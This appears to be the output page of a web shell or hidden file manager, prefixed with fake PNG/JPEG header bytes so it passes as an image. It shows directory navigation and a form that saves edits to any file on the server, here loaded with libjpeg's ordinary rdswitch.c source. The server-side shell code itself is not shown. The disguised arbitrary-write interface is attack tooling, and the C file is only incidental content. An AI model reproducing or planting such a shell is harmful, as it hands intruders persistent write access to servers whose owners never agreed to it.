�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fjpeg-9f%2F'>jpeg-9f</a>/</p><hr><h3>✏️ Editing: rdswitch.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
 * rdswitch.c
 *
 * Copyright (C) 1991-1996, Thomas G. Lane.
 * Modified 2003-2020 by Guido Vollbeding.
 * This file is part of the Independent JPEG Group&#039;s software.
 * For conditions of distribution and use, see the accompanying README file.
 *
 * This file contains routines to process some of cjpeg&#039;s more complicated
 * command-line switches.  Switches processed here are:
 *	-qtables file		Read quantization tables from text file
 *	-scans file		Read scan script from text file
 *	-quality N[,N,...]	Set quality ratings
 *	-qslots N[,N,...]	Set component quantization table selectors
 *	-sample HxV[,HxV,...]	Set component sampling factors
 */

#include &quot;cdjpeg.h&quot;		/* Common decls for cjpeg/djpeg applications */
#include &lt;ctype.h&gt;		/* to declare isdigit(), isspace() */


LOCAL(int)
text_getc (FILE * file)
/* Read next char, skipping over any comments (# to end of line) */
/* A comment/newline sequence is returned as a newline */
{
  register int ch;
  
  ch = getc(file);
  if (ch == &#039;#&#039;) {
    do {
      ch = getc(file);
    } while (ch != &#039;\n&#039; &amp;&amp; ch != EOF);
  }
  return ch;
}


LOCAL(boolean)
read_text_integer (FILE * file, long * result, int * termchar)
/* Read an unsigned decimal integer from a file, store it in result */
/* Reads one trailing character after the integer; returns it in termchar */
{
  register int ch;
  register long val;
  
  /* Skip any leading whitespace, detect EOF */
  do {
    ch = text_getc(file);
    if (ch == EOF) {
      *termchar = ch;
      return FALSE;
    }
  } while (isspace(ch));
  
  if (! isdigit(ch)) {
    *termchar = ch;
    return FALSE;
  }

  val = ch - &#039;0&#039;;
  while ((ch = text_getc(file)) != EOF) {
    if (! isdigit(ch))
      break;
    val *= 10;
    val += ch - &#039;0&#039;;
  }
  *result = val;
  *termchar = ch;
  return TRUE;
}


GLOBAL(boolean)
read_quant_tables (j_compress_ptr cinfo, char * filename, boolean force_baseline)
/* Read a set of quantization tables from the specified file.
 * The file is plain ASCII text: decimal numbers with whitespace between.
 * Comments preceded by &#039;#&#039; may be included in the file.
 * There may be one to NUM_QUANT_TBLS tables in the file, each of 64 values.
 * The tables are implicitly numbered 0,1,etc.
 * NOTE: does not affect the qslots mapping, which will default to selecting
 * table 0 for luminance (or primary) components, 1 for chrominance components.
 * You must use -qslots if you want a different component-&gt;table mapping.
 */
{
  FILE * fp;
  int tblno, i, termchar;
  long val;
  unsigned int table[DCTSIZE2];

  if ((fp = fopen(filename, &quot;r&quot;)) == NULL) {
    fprintf(stderr, &quot;Can&#039;t open table file %s\n&quot;, filename);
    return FALSE;
  }
  tblno = 0;

  while (read_text_integer(fp, &amp;val, &amp;termchar)) { /* read 1st element of table */
    if (tblno &gt;= NUM_QUANT_TBLS) {
      fprintf(stderr, &quot;Too many tables in file %s\n&quot;, filename);
      fclose(fp);
      return FALSE;
    }
    table[0] = (unsigned int) val;
    for (i = 1; i &lt; DCTSIZE2; i++) {
      if (! read_text_integer(fp, &amp;val, &amp;termchar)) {
	fprintf(stderr, &quot;Invalid table data in file %s\n&quot;, filename);
	fclose(fp);
	return FALSE;
      }
      table[i] = (unsigned int) val;
    }
    jpeg_add_quant_table(cinfo, tblno, table, cinfo-&gt;q_scale_factor[tblno],
			 force_baseline);
    tblno++;
  }

  if (termchar != EOF) {
    fprintf(stderr, &quot;Non-numeric data in file %s\n&quot;, filename);
    fclose(fp);
    return FALSE;
  }

  fclose(fp);
  return TRUE;
}


#ifdef C_MULTISCAN_FILES_SUPPORTED

LOCAL(boolean)
read_scan_integer (FILE * file, long * result, int * termchar)
/* Variant of read_text_integer that always looks for a non-space termchar;
 * this simplifies parsing of punctuation in scan scripts.
 */
{
  register int ch;

  if (! read_text_integer(file, result, termchar))
    return FALSE;
  ch = *termchar;
  while (ch != EOF &amp;&amp; isspace(ch))
    ch = text_getc(file);
  if (isdigit(ch)) {		/* oops, put it back */
    if (ungetc(ch, file) == EOF)
      return FALSE;
    ch = &#039; &#039;;
  } else {
    /* Any separators other than &#039;;&#039; and &#039;:&#039; are ignored;
     * this allows user to insert commas, etc, if desired.
     */
    if (ch != EOF &amp;&amp; ch != &#039;;&#039; &amp;&amp; ch != &#039;:&#039;)
      ch = &#039; &#039;;
  }
  *termchar = ch;
  return TRUE;
}


GLOBAL(boolean)
read_scan_script (j_compress_ptr cinfo, char * filename)
/* Read a scan script from the specified text file.
 * Each entry in the file defines one scan to be emitted.
 * Entries are separated by semicolons &#039;;&#039;.
 * An entry contains one to four component indexes,
 * optionally followed by a colon &#039;:&#039; and four progressive-JPEG parameters.
 * The component indexes denote which component(s) are to be transmitted
 * in the current scan.  The first component has index 0.
 * Sequential JPEG is used if the progressive-JPEG parameters are omitted.
 * The file is free format text: any whitespace may appear between numbers
 * and the &#039;:&#039; and &#039;;&#039; punctuation marks.  Also, other punctuation (such
 * as commas or dashes) can be placed between numbers if desired.
 * Comments preceded by &#039;#&#039; may be included in the file.
 * Note: we do very little validity checking here;
 * jcmaster.c will validate the script parameters.
 */
{
  FILE * fp;
  int scanno, ncomps, termchar;
  long val;
  jpeg_scan_info * scanptr;
#define MAX_SCANS  100		/* quite arbitrary limit */
  jpeg_scan_info scans[MAX_SCANS];

  if ((fp = fopen(filename, &quot;r&quot;)) == NULL) {
    fprintf(stderr, &quot;Can&#039;t open scan definition file %s\n&quot;, filename);
    return FALSE;
  }
  scanptr = scans;
  scanno = 0;

  while (read_scan_integer(fp, &amp;val, &amp;termchar)) {
    if (scanno &gt;= MAX_SCANS) {
      fprintf(stderr, &quot;Too many scans defined in file %s\n&quot;, filename);
      fclose(fp);
      return FALSE;
    }
    scanptr-&gt;component_index[0] = (int) val;
    ncomps = 1;
    while (termchar == &#039; &#039;) {
      if (ncomps &gt;= MAX_COMPS_IN_SCAN) {
	fprintf(stderr, &quot;Too many components in one scan in file %s\n&quot;,
		filename);
	fclose(fp);
	return FALSE;
      }
      if (! read_scan_integer(fp, &amp;val, &amp;termchar))
	goto bogus;
      scanptr-&gt;component_index[ncomps] = (int) val;
      ncomps++;
    }
    scanptr-&gt;comps_in_scan = ncomps;
    if (termchar == &#039;:&#039;) {
      if (! read_scan_integer(fp, &amp;val, &amp;termchar) || termchar != &#039; &#039;)
	goto bogus;
      scanptr-&gt;Ss = (int) val;
      if (! read_scan_integer(fp, &amp;val, &amp;termchar) || termchar != &#039; &#039;)
	goto bogus;
      scanptr-&gt;Se = (int) val;
      if (! read_scan_integer(fp, &amp;val, &amp;termchar) || termchar != &#039; &#039;)
	goto bogus;
      scanptr-&gt;Ah = (int) val;
      if (! read_scan_integer(fp, &amp;val, &amp;termchar))
	goto bogus;
      scanptr-&gt;Al = (int) val;
    } else {
      /* set non-progressive parameters */
      scanptr-&gt;Ss = 0;
      scanptr-&gt;Se = DCTSIZE2-1;
      scanptr-&gt;Ah = 0;
      scanptr-&gt;Al = 0;
    }
    if (termchar != &#039;;&#039; &amp;&amp; termchar != EOF) {
bogus:
      fprintf(stderr, &quot;Invalid scan entry format in file %s\n&quot;, filename);
      fclose(fp);
      return FALSE;
    }
    scanptr++, scanno++;
  }

  if (termchar != EOF) {
    fprintf(stderr, &quot;Non-numeric data in file %s\n&quot;, filename);
    fclose(fp);
    return FALSE;
  }

  if (scanno &gt; 0) {
    /* Stash completed scan list in cinfo structure.
     * NOTE: for cjpeg&#039;s use, JPOOL_IMAGE is the right lifetime for this data,
     * but if you want to compress multiple images you&#039;d want JPOOL_PERMANENT.
     */
    scanptr = (jpeg_scan_info *) (*cinfo-&gt;mem-&gt;alloc_small)
      ((j_common_ptr) cinfo, JPOOL_IMAGE, scanno * SIZEOF(jpeg_scan_info));
    MEMCOPY(scanptr, scans, scanno * SIZEOF(jpeg_scan_info));
    cinfo-&gt;scan_info = scanptr;
    cinfo-&gt;num_scans = scanno;
  }

  fclose(fp);
  return TRUE;
}

#endif /* C_MULTISCAN_FILES_SUPPORTED */


GLOBAL(boolean)
set_quality_ratings (j_compress_ptr cinfo, char *arg, boolean force_baseline)
/* Process a quality-ratings parameter string, of the form
 *     N[,N,...]
 * If there are more q-table slots than parameters, the last value is replicated.
 */
{
  int val = 75;			/* default value */
  int tblno;
  char ch;

  for (tblno = 0; tblno &lt; NUM_QUANT_TBLS; tblno++) {
    if (*arg) {
      ch = &#039;,&#039;;			/* if not set by sscanf, will be &#039;,&#039; */
      if (sscanf(arg, &quot;%d%c&quot;, &amp;val, &amp;ch) &lt; 1)
	return FALSE;
      if (ch != &#039;,&#039;)		/* syntax check */
	return FALSE;
      /* Convert user 0-100 rating to percentage scaling */
      cinfo-&gt;q_scale_factor[tblno] = jpeg_quality_scaling(val);
      while (*arg &amp;&amp; *arg++ != &#039;,&#039;); /* advance to next segment of arg string */
    } else {
      /* reached end of parameter, set remaining factors to last value */
      cinfo-&gt;q_scale_factor[tblno] = jpeg_quality_scaling(val);
    }
  }
  jpeg_default_qtables(cinfo, force_baseline);
  return TRUE;
}


GLOBAL(boolean)
set_quant_slots (j_compress_ptr cinfo, char *arg)
/* Process a quantization-table-selectors parameter string, of the form
 *     N[,N,...]
 * If there are more components than parameters, the last value is replicated.
 */
{
  int val = 0;			/* default table # */
  int ci;
  char ch;

  for (ci = 0; ci &lt; MAX_COMPONENTS; ci++) {
    if (*arg) {
      ch = &#039;,&#039;;			/* if not set by sscanf, will be &#039;,&#039; */
      if (sscanf(arg, &quot;%d%c&quot;, &amp;val, &amp;ch) &lt; 1)
	return FALSE;
      if (ch != &#039;,&#039;)		/* syntax check */
	return FALSE;
      if (val &lt; 0 || val &gt;= NUM_QUANT_TBLS) {
	fprintf(stderr, &quot;JPEG quantization tables are numbered 0..%d\n&quot;,
		NUM_QUANT_TBLS-1);
	return FALSE;
      }
      cinfo-&gt;comp_info[ci].quant_tbl_no = val;
      while (*arg &amp;&amp; *arg++ != &#039;,&#039;); /* advance to next segment of arg string */
    } else {
      /* reached end of parameter, set remaining components to last table */
      cinfo-&gt;comp_info[ci].quant_tbl_no = val;
    }
  }
  return TRUE;
}


GLOBAL(boolean)
set_sample_factors (j_compress_ptr cinfo, char *arg)
/* Process a sample-factors parameter string, of the form
 *     HxV[,HxV,...]
 * If there are more components than parameters, &quot;1x1&quot; is assumed for the rest.
 */
{
  int ci, val1, val2;
  char ch1, ch2;

  for (ci = 0; ci &lt; MAX_COMPONENTS; ci++) {
    if (*arg) {
      ch2 = &#039;,&#039;;		/* if not set by sscanf, will be &#039;,&#039; */
      if (sscanf(arg, &quot;%d%c%d%c&quot;, &amp;val1, &amp;ch1, &amp;val2, &amp;ch2) &lt; 3)
	return FALSE;
      if ((ch1 != &#039;x&#039; &amp;&amp; ch1 != &#039;X&#039;) || ch2 != &#039;,&#039;) /* syntax check */
	return FALSE;
      if (val1 &lt;= 0 || val1 &gt; MAX_SAMP_FACTOR ||
	  val2 &lt;= 0 || val2 &gt; MAX_SAMP_FACTOR) {
	fprintf(stderr, &quot;JPEG sampling factors must be 1..%d\n&quot;, MAX_SAMP_FACTOR);
	return FALSE;
      }
      cinfo-&gt;comp_info[ci].h_samp_factor = val1;
      cinfo-&gt;comp_info[ci].v_samp_factor = val2;
      while (*arg &amp;&amp; *arg++ != &#039;,&#039;); /* advance to next segment of arg string */
    } else {
      /* reached end of parameter, set remaining components to 1x1 sampling */
      cinfo-&gt;comp_info[ci].h_samp_factor = 1;
      cinfo-&gt;comp_info[ci].v_samp_factor = 1;
    }
  }
  return TRUE;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fjpeg-9f'>🔙 Back</a></p>